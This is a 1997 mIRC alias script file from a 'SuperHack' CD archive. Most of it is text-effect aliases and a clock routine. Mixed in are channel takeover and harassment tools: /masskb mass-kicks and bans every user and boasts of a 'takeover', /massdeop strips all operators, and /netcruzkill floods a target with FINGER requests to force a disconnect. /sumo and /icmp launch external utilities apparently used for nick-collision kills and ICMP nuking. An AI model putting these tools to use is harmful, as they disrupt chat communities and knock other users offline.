home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / SCRIPTZ / KIX_AHOY.ZIP / aliases.ini next >
INI File  |  1997-01-27  |  15KB  |  287 lines
  1. [Aliases]
  2. n0=/f1 /$read c:\KiX_aHoY\ascii\Quote.txt
  3. n1=/f2 /nick Black_Ghost
  4. n2=/f3 /$read c:\KiX_aHoY\ascii\Pickups.txt
  5. n3=/f4 /$read c:\KiX_aHoY\ascii\Yomama.txt
  6. n4=/cstat /set %chanst on | /set %hops 0 | /set %anum 0 | /set %opnum 0 | /set %unum 0 | /set %ircops 0 | /set %nopnum 0 | /set %clones 0 | /set %addies | /set %here 0 | /who #
  7. n5=incawaysecs /inc %incawaysecs | if (%incawaysecs == 60) { /set %incawaysecs 0 }
  8. n6=incawayminutes /inc %incawayminutes | if (%incawayminutes == 60) { /set %incawayminutes 0 }
  9. n7=incawayhours /inc %incawayhours
  10. n8=incawaysecs inc %awaysecs | if (%awaysecs == 60) { /set %awaysecs 0 }
  11. n9=incawayminutes inc %awayminutes | if (%awayminutes == 60) { /set %awayminutes 0 }
  12. n10=incawayhours /inc %awayhours
  13. n11=/llon /disable #linklookermsg | /enable #linklooker | /timer18 0 25 /admin $!read $mircdir $+ \config\ll.cfg
  14. n12=/lloff /disable #linklookermsg | /disable #linklooker | /timer18 off
  15. n13=/llvon /disable #linklooker | /enable #linklookermsg | /timer18 0 25 /admin $!read $mircdir $+ \config\ll.cfg
  16. n14=/llvoff /disable #linklooker | /disable #linklookermsg | /timer18 off 
  17. n15=/dc /msg # Clone Detector listing clones on # | /enable #check.for.clones | /who # 
  18. n16=/kc /enable #kick.clones | /who #
  19. n17=/icmp /run $mircdir $+ \util\icmp.exe
  20. n18=/kbc /enable #kick.ban.clones | /who #
  21. n19=/sumo /run $mircdir $+ \util\sumo.exe -n $+ $$?="Enter nick" -u $+ $$?="Enter user name" -r $+ $$?="Enter real name" -v -s $+ $$?="Enter watching server" -k $+ $$?="Enter killing server" -c $+ $$?="Enter channel"
  22. n20=/CRaZY {
  23. n21=  set %rk $$?1="EnteráText" *2
  24. n22=  %rk = $replace(%rk,a,12A)
  25. n23=  %rk = $replace(%rk,b,b)
  26. n24=  %rk = $replace(%rk,c,13c)
  27. n25=  %rk = $replace(%rk,d,6d)
  28. n26=  %rk = $replace(%rk,e,9E)
  29. n27=  %rk = $replace(%rk,f,11F)
  30. n28=  %rk = $replace(%rk,g,5g)
  31. n29=  %rk = $replace(%rk,h,6H)
  32. n30=  %rk = $replace(%rk,i,10i)
  33. n31=  %rk = $replace(%rk,j,8j)
  34. n32=  %rk = $replace(%rk,k,3k)
  35. n33=  %rk = $replace(%rk,l,L)
  36. n34=  %rk = $replace(%rk,m,9m)
  37. n35=  %rk = $replace(%rk,n,4n)
  38. n36=  %rk = $replace(%rk,o,4O)
  39. n37=  %rk = $replace(%rk,p,2P)
  40. n38=  %rk = $replace(%rk,q,12q)
  41. n39=  %rk = $replace(%rk,r,6R)
  42. n40=  %rk = $replace(%rk,s,6s)
  43. n41=  %rk = $replace(%rk,t,12T)
  44. n42=  %rk = $replace(%rk,u,3u)
  45. n43=  %rk = $replace(%rk,v,1v)
  46. n44=  %rk = $replace(%rk,w,12W)
  47. n45=  %rk = $replace(%rk,x,13x)
  48. n46=  %rk = $replace(%rk,y,12Y)
  49. n47=  %rk = $replace(%rk,z,2z)
  50. n48=  %rk = $replace(%rk,!,í)  
  51. n49=  %rk = $replace(%rk,*,9*)  
  52. n50=  %rk = $replace(%rk,?,4?12í) 
  53. n51=  /msg $chan %rk
  54. n52=  unset %rk
  55. n53=}
  56. n54=/masskb {
  57. n55=  set %i 1
  58. n56=  :start
  59. n57=  set %nick $nick(%i,#)
  60. n58=  if (%nick == $null) { echo 6 # mY TaKeoVeR  oN # WaS SuCeSSFuL! | halt }
  61. n59=  if (%nick != $me) { ban # %nick 3 | kick # %nick KiX aHoY MaSS KiCK/BaN }
  62. n60=  inc %i 1  
  63. n61=  goto start
  64. n62=}
  65. n63=/massdeop {
  66. n64=  set %i 1
  67. n65=  :start
  68. n66=  set %nick $nick(%i,#)
  69. n67=  if (%nick == $null) { echo 6 # mY TaKeoVeR  oN # WaS SuCeSSFuL! | halt }
  70. n68=  if (%nick != $me) { mode # -o %nick  }
  71. n69=  inc %i 1  
  72. n70=  goto start
  73. n71=}
  74. n133=/kc /enable #kick.clones | /who #
  75. n134=/kbc /enable #kick.ban.clones | /who #
  76. n72=/leet {
  77. n73=  %leettext = $upper(*1)
  78. n74=  %leettext = $replace(%leettext,A,a)
  79. n75=  %leettext = $replace(%leettext,E,e)
  80. n76=  %leettext = $replace(%leettext,I,i)
  81. n77=  %leettext = $replace(%leettext,O,o)
  82. n78=  %leettext = $replace(%leettext,U,u)
  83. n79=  %leettext = $replace(%leettext,Y,y)
  84. n80=  /msg # %leettext
  85. n81=}
  86. n82=/upvowels {
  87. n83=  %uptext = $lower(*1)
  88. n84=  %uptext = $replace(%uptext,a,A)
  89. n85=  %uptext = $replace(%uptext,E,E)
  90. n86=  %uptext = $replace(%uptext,I,I)
  91. n87=  %uptext = $replace(%uptext,O,O)
  92. n88=  %uptext = $replace(%uptext,U,U)
  93. n89=  %uptext = $replace(%uptext,Y,Y)
  94. n90=  /msg # %uptext
  95. n91=}
  96. n92=/elite {
  97. n93=  if *1 == $null {
  98. n94=    echo ELITE command.  Usage: /ELITE <text>
  99. n95=  }
  100. n96=  if ($1 == -me) { set %elitetext *2 | goto go }
  101. n97=  if ($1 == -t) { set %elitetext *2 | goto go }
  102. n98=  if (-n isin $1) { set %elitetext *2 | goto go }
  103. n99=  else { set %elitetext *1 | goto go }
  104. n100=  :go
  105. n101=  set %elitetext $replace(%elitetext,<,½) | set %elitetext $replace(%elitetext,>,╗)
  106. n102=  set %lenotext $len(%elitetext)
  107. n103=  %i = 0
  108. n104=  %nothing = $chr(32)
  109. n105=  set %elitefinal á
  110. n106=  :nextlet
  111. n107=  inc %i
  112. n108=  if %i > %lenotext {
  113. n109=    %lenofinal = $len(%elitefinal)
  114. n110=    dec %lenofinal
  115. n111=    %elitefinal = $right(%lenofinal,%elitefinal)
  116. n112=    set %elitefinal $replace(%elitefinal,{▀},╖<[╗┼FT_▀≥t½]>╖)
  117. n113=    if ($1 == -me) { /me %elitefinal | halt }
  118. n114=    if ($1 == -t) { /topic # %elitefinal | halt }
  119. n115=    if (-n isin $1) { 
  120. n116=      set %totlen $len($1)
  121. n117=      %totlen = %totlen - 2
  122. n118=      %nickchan = $right(%totlen,$1)
  123. n119=      notice %nickchan %elitefinal 
  124. n120=      halt 
  125. n121=    }  
  126. n122=    else { /msg # %elitefinal | halt }
  127. n123=    halt
  128. n124=  }
  129. n125=  %thislet = $mid(%i,1,%elitetext)
  130. n126=  if %thislet == A { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%a)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  131. n127=  if %thislet == B { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%b)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  132. n128=  if %thislet == C { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%c)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  133. n129=  if %thislet == D { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%d)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  134. n130=  if %thislet == E { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%e)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  135. n131=  if %thislet == F { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%f)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  136. n132=  if %thislet == G { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%g)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  137. n133=  if %thislet == H { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%h)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  138. n134=  if %thislet == I { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%eliti)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  139. n135=  if %thislet == J { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%j)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  140. n136=  if %thislet == K { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%k)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  141. n137=  if %thislet == L { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%l)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  142. n138=  if %thislet == M { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%m)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  143. n139=  if %thislet == N { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%n)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  144. n140=  if %thislet == O { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%o)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  145. n141=  if %thislet == P { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%p)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  146. n142=  if %thislet == Q { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%q)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  147. n143=  if %thislet == R { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%r)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  148. n144=  if %thislet == S { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%s)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  149. n145=  if %thislet == T { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%t)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  150. n146=  if %thislet == U { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%u)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  151. n147=  if %thislet == V { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%v)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  152. n148=  if %thislet == W { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%w)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  153. n149=  if %thislet == X { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%x)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  154. n150=  if %thislet == Y { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%y)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  155. n151=  if %thislet == Z { set %thislet $replace(%thislet,%thislet,$token($rand(1,13),46,%z)) | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  156. n152=  if %thislet == %nothing { set %thislet á | set %elitefinal %elitefinal $+ %thislet | goto nextlet }
  157. n153=  else {
  158. n154=    /set %thislet $replace(%thislet,%thislet,%thislet)
  159. n155=    /set %elitefinal %elitefinal $+ %thislet
  160. n156=    goto nextlet
  161. n157=  }
  162. n158=  goto nextlet
  163. n159=}
  164. n160=stars {
  165. n161=  unset %startext
  166. n162=  %space = $chr(32)
  167. n163=  %i = 0
  168. n164=  :next
  169. n165=  inc %i 1
  170. n166=  if %i > $len(*1) { /msg # %startext | halt }
  171. n167=  %thischar = $mid(%i,1,*1)
  172. n168=  if %thischar == %space { 
  173. n169=    if %startext == $null { set %startext * | goto next }
  174. n170=    else { set %startext %startext $+ * | goto next }
  175. n171=  }
  176. n172=  if %startext == $null { set %startext * $+ %thischar $+ * | goto next }
  177. n173=  else { set %startext %startext $+ %thischar $+ * | goto next }
  178. n174=}
  179. n175=/netcruzkill /msg $$1 FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER | /echo 6 Ping time out expected in 2 minutes.
  180. n176=/icmp /run $mircdir $+ \util\icmp.exe
  181. n177=time {
  182. n178=  %zero = $chr(48)
  183. n179=  set %time $time
  184. n180=  if ($token(1,58,%time) >= 12) { goto dopm }
  185. n181=  else {
  186. n182=    %time = $token(1,58,$time) $+ : $+ $token(2,58,$time) $+ AM
  187. n183=    goto date
  188. n184=  }
  189. n185=  :dopm
  190. n186=  %time = $token(1,58,%time)
  191. n187=  dec %time 12
  192. n188=  %time = %time $+ : $+ $token(2,58,$time) $+ PM
  193. n189=  goto date
  194. n190=  :date
  195. n191=  %date = $adate
  196. n192=  %date = $token(1,47,%date)
  197. n193=  if (%date == 1) { set %date January | goto 2nd }
  198. n194=  if (%date == 2) { set %date Febuary | goto 2nd }
  199. n195=  if (%date == 3) { set %date March | goto 2nd }
  200. n196=  if (%date == 4) { set %date April | goto 2nd }
  201. n197=  if (%date == 5) { set %date May | goto 2nd }
  202. n198=  if (%date == 6) { set %date June | goto 2nd }
  203. n199=  if (%date == 7) { set %date July | goto 2nd }
  204. n200=  if (%date == 8) { set %date August | goto 2nd }
  205. n201=  if (%date == 9) { set %date September | goto 2nd }
  206. n202=  if (%date == 10) { set %date October | goto 2nd }
  207. n203=  if (%date == 11) { set %date November | goto 2nd }
  208. n204=  if (%date == 12) { set %date December | goto 2nd }
  209. n205=  :2nd
  210. n206=  %tempdate = %date
  211. n207=  %date = $token(2,47,$adate)
  212. n208=  if (($len(%date) == 2) && ($mid(1,1,%date) == 0)) { set %date $remove(%date,0) }
  213. n209=  if (($len(%date) == 2) && ($mid(2,1,%date) == 1)) { set %date 1 }
  214. n210=  set %lenotext $len(%date)
  215. n211=  if (%lenotext == 1) {
  216. n212=    if %date == 1 { set %date 1st | goto compile }
  217. n213=    if %date == 2 { set %date 2nd | goto compile }
  218. n214=    if %date == 3 { set %date 3rd | goto compile }
  219. n215=    else { set %date %date $+ th | goto compile }
  220. n216=  }
  221. n217=  if %lenotext == 2 {
  222. n218=    %tdate = $mid(2,1,%lenotext)
  223. n219=    if %tdate == 1 { set %date $mid(1,1,%date) $+ 1st | goto compile }
  224. n220=    if %tdate == 2 { set %date $mid(1,1,%date) $+ 2nd | goto compile }
  225. n221=    if %tdate == 3 { set %date $mid(1,1,%date) $+ 3rd | goto compile }
  226. n222=    else { set %date $mid(1,1,%date) $+ $mid(2,1,%date) $+ th | goto compile }
  227. n223=  }
  228. n224=  :compile
  229. n225=  set %date %tempdate %date 19 $+ $token(3,47,$adate)
  230. n226=  goto msg #
  231. n227=  :msg #
  232. n228=  /titlebar KiX aHoY -==  $+ %time $+  ==-  $+ $day $+ , %date $+  -==  $+ $me $+  ==-  $+ $server $+  ===  $+ Port $port $+  ===  $+ $host $+ 
  233. n229=}
  234. n230=rcaps {
  235. n231=  %i = 0
  236. n232=  %space = $chr(32)
  237. n233=  %altcaptext = á
  238. n234=  %firstlet = $mid(1,1,*1)
  239. n235=  :next
  240. n236=  inc %i
  241. n237=  if %i > $len(*1) { %lenwosp = $len(*1) - 1 | %altcaptext = %firstlet $+ $right(%lenwosp,%altcaptext) | /msg # %altcaptext | halt }
  242. n238=  %thislet = $mid(%i,1,*1) 
  243. n239=  if %thislet == %space { set %altcaptext %altcaptext $+ á | goto next }
  244. n240=  set %rand $rand(1,2)
  245. n241=  if %rand == 1 { set %altcaptext %altcaptext $+ $upper(%thislet) | goto next }
  246. n242=  else { set %altcaptext %altcaptext $+ $lower(%thislet) | goto next }
  247. n243=}
  248. n244=backwards {
  249. n245=  unset %backtext
  250. n246=  if ($1 == -d) { 
  251. n247=    set %backtext ºá
  252. n248=    set %text $remove(*1,$left(3,*1))
  253. n249=  }
  254. n250=  else { %text = *1 }
  255. n251=  %space = $chr(32)
  256. n252=  %i = $len(%text) + 1
  257. n253=  :next
  258. n254=  dec %i 1
  259. n255=  if %i == 0 { /msg # %backtext | halt }
  260. n256=  %thischar = $mid(%i,1,%text)
  261. n257=  if %thischar == %space {
  262. n258=    %thislet = á
  263. n259=    if %backtext == $null { set %backtext %thislet | goto next }
  264. n260=    else { set %backtext %backtext $+ %thislet | goto next }
  265. n261=  }
  266. n262=  if %backtext == $null { set %backtext %thischar | goto next }
  267. n263=  else { set %backtext %backtext $+ %thischar | goto next }
  268. n264=}
  269. n265=kewltalk {
  270. n266=  set %text $upper(*1)
  271. n267=  set %text $replace(%text,W,\/\/)
  272. n268=  set %text $replace(%text,I,1)
  273. n269=  set %text $replace(%text,O,0)
  274. n270=  set %text $replace(%text,T,+)
  275. n271=  set %text $replace(%text,U,|_|)
  276. n272=  set %text $replace(%text,M,/\/\)
  277. n273=  set %text $replace(%text,N,|\|)
  278. n274=  set %text $replace(%text,C,<)
  279. n275=  set %text $replace(%text,L,|_)
  280. n276=  set %text $replace(%text,K,]{)
  281. n277=  set %text $replace(%text,V,\/)
  282. n278=  set %text $replace(%text,A,/-\)
  283. n279=  set %text $replace(%text,H,|-|)
  284. n280=  /msg # %text
  285. n281=}
  286.  
  287.